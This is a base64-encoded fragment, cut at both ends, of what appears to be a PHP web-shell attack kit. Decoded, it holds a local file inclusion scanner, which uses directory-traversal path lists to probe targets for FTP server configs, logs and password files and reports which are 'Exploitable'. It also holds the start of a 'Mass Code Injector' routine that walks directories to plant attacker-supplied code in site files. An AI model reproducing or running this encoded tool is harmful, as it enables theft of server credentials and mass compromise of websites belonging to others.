Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92aGNzMi9wcm9mdHBkL3Byb2Z0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb2Z0cGQvbW9kdWxlcy5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQuY2hyb290X2xpc3QiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvdnNmdHBkLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQvdnNmdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvY2hyb290VXNlcnMiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3hmZXJsb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvYWRtL2xvZy94ZmVybG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwYWNjZXNzIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cGQvZnRwaG9zdHMiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHB1c2VycyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9zYmluL3B1cmUtY29uZmlnLnBsIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZS1mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3B1cmUtZnRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcHVyZWZ0cGQvZXRjL3B1cmVmdHBkLnBkYiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9wdXJlZnRwZC9zYmluL3B1cmUtY29uZmlnLnBsIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3B1cmVmdHBkL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlLWZ0cGQvcHVyZS1mdHBkLnBkYiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHVyZWZ0cGQucGFzc3dkIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3B1cmUtZnRwZC9wdXJlZnRwZC5wZGIiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvZnRwL3B1cmUtZnRwZC8iLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvbmV0L3B1cmUtZnRwZC8iLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDM0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcGtnc3JjL25ldC9wdXJlZnRwZC8iLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDM1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvcG9ydHMvY29udHJpYi9wdXJlLWZ0cGQvIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wdXJlLWZ0cGQvcHVyZS1mdHBkLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMzcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvcHVyZS1mdHBkLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvcHVyZWZ0cGQubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHAtcHJveHkvZnRwLXByb3h5LmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNDAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZnRwLXByb3h5Ii4kYnl0ZTEuIiIsDQogICAgICAgICAgICA0MSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9mdHBsb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDQyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvZnRwIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA0MyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2Z0cGNocm9vdCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9mdHBob3N0cyIuJGJ5dGUxLiIiKTsNCiAgICAgICANCg0KICAgICAgICAgJHggPSAxOw0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAxICkgew0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOw0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7DQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9JyM2YjZiNmInPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgd2hpbGUoJGxmaWFjY2Vzc1skeF0pIHsNCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWFjY2Vzc1skeF0pOw0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOw0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9JyM2YjZiNmInPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlhY2Nlc3NbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWFjY2Vzc1skeF0uIjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkeCsrOw0KICAgICAgfQ0KICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAyICkgew0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOw0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7DQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9JyM2YjZiNmInPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgd2hpbGUoJGxmaWNvbmZpZ1skeF0pIHsNCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaWNvbmZpZ1skeF0pOw0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOw0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9JyM2YjZiNmInPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkeCsrOw0KICAgICAgfQ0KICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAzICkgew0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsNCiAgICAgICAgICAgICRyZXMyID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdDIpOw0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7DQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsNCiAgICAgICAgICAgIGlmICgkcmhhc2gxICE9ICRyaGFzaDIpIHsNCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9JyM2YjZiNmInPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgd2hpbGUoJGxmaWVycm9yWyR4XSkgew0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZXJyb3JbJHhdKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPScjNmI2YjZiJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHgrKzsNCiAgICAgIH0NCiAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICAgIGlmICggJHR5cGUgPT0gNCApIHsNCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7DQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsNCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOw0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7DQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPScjNmI2YjZiJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgIHdoaWxlKCRsZmlwaHBpbmlbJHhdKSB7DQogICAgICAgICAgICAgICAgJHJlczMgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZmlwaHBpbmlbJHhdKTsNCiAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsNCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPScjNmI2YjZiJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iPC9hPjxiciAgLz4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J3JlZCc+WyFdIEZhaWxlZCE8L2ZvbnQ+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHgrKzsNCiAgICAgIH0NCiAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICAgIGlmICggJHR5cGUgPT0gNSApIHsNCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7DQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsNCiAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOw0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7DQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7DQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPScjNmI2YjZiJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgIHdoaWxlKCRsZmlteXNxbFskeF0pIHsNCiAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaW15c3FsWyR4XSk7DQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7DQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nIzZiNmI2Yic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaW15c3FsWyR4XS4iPGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR4Kys7DQogICAgICB9DQogICAgICB9DQogICAgICAgICB9DQogICAgICAgICBpZiAoICR0eXBlID09IDYgKSB7DQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOw0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7DQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsNCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOw0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nIzZiNmI2Yic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7DQogICAgICAgICAgICB3aGlsZSgkbGZpZnRwWyR4XSkgew0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZnRwWyR4XSk7DQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7DQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nIzZiNmI2Yic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiJcIj4iLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR4Kys7DQogICAgICB9DQogICAgICB9DQogICAgICAgICB9DQppZiAoICR0eXBlID09IDcgKSB7DQogICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOw0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7DQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsNCiAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOw0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nIzZiNmI2Yic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7ew0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcHJvY2Vudik7DQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7DQogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgew0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nIzZiNmI2Yic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjwvYT48YnIgIC8+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPGJyICAvPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgfQ0KDQp9DQpmdW5jdGlvbiBhY3Rpb25JbmplY3Rvcigpew0KICAgIEJPRkZIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+TWFzcyBDb2RlIEluamVjdG9yPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgDQogICAgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiV2luZG93cyIpKSB7ICREUyA9ICJcXCI7IH0gZWxzZSBpZihzdHJpc3RyKHBocF91bmFtZSgpLCJMaW51eCIpKSB7ICREUyA9ICcvJzsgfQ0KICAgIGZ1bmN0aW9uIGdldF9zdHJ1Y3R1cmUoJHBhdGgsJGRlcHRoKSB7DQogICAgICAgIGdsb2JhbCAkRFM7DQogICAgICAgICRyZXMgPSBhcnJheSgpOw0KICAgICAgICBpZihpbl9hcnJheSgwLCAkZGVwdGgpKSB7ICRyZXNbXSA9ICRwYXRoOyB9DQogICAgICAgIGlmKGluX2FycmF5KDEsICRkZXB0aCkgb3IgaW5fYXJyYXkoMiwgJGRlcHRoKSBvciBpbl9hcnJheSgzLCAkZGVwdGgpKSB7DQogICAgICAgICAgICAkdG1wMSA9IGdsb2IoJHBhdGguJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMSk7IH0NCiAgICAgICAgfQ0KICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpIG9yIGluX2FycmF5KDMsICRkZXB0aCkpIHsNCiAgICAgICAgICAgICR0bXAyID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2goJHRtcDEgYXMgJHQpew0KICAgICAgICAgICAgICAgICR0cDIgPSBnbG9iKCR0LiREUy4nKicsR0xPQl9PTkxZRElSKTsNCiAgICAgICAgICAgICAgICAkdG1wMiA9IGFycmF5X21lcmdlKCR0bXAyLCAkdHAyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKGluX2FycmF5KDIsICRkZXB0aCkpIHsgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsJHRtcDIpOyB9DQogICAgICAgIH0NCiAgICAgICAgaWYoaW5fYXJyYXkoMywgJGRlcHRoKSkgew0KICAgICAgICAgICAgJHRtcDMgPSBhcnJheSgpOw0KICAgICAgICAgICAgZm9yZWFjaCgkdG1wMiBhcyAkdCl7DQogICAgICAgICAgICAgICAgJHRwMyA9IGdsb2IoJHQuJERTLicqJyxHTE9CX09OTFlESVIpOw0KICAgICAgICAgICAgICAgICR0bXAzID0gYXJyYXlfbWVyZ2UoJHRtcDMsICR0cDMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsJHRtcDMpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzOw0KICAgIH0NCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmICRfUE9TVFsnc3VibWl0J109PSdJbmplY3QnKSB7DQogICAgICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ10gPyAkX1BPU1RbJ25hbWUnXSA6ICcqJzsNCiAgICAgICAgJHR5cGUgPSAkX1BPU1RbJ3R5cGUnXSA/ICRfUE9TVFsndHlwZSddIDogJ2h0bWwnOw0KICAgICAgICAkcGF0aCA9ICRfUE9TVFsncGF0aCddID8gJF9QT1NUWydwYXRoJ10gOiBnZXRjd2QoKTsNCiAgICAgICAgJGNvZGUgPSAkX1BPU1RbJ2NvZGUnXSA/ICRfUE9TVFsnY29kZSddIDogJ1RoZVVua25vd25zJzsNCiAgICAgICAgJG1vZGUgPSAkX1BPU1RbJ21vZGUnXSA/ICRfUE9TVFsnbW9kZSddIDogJ2EnOw0KICAgICAgICAkZGVw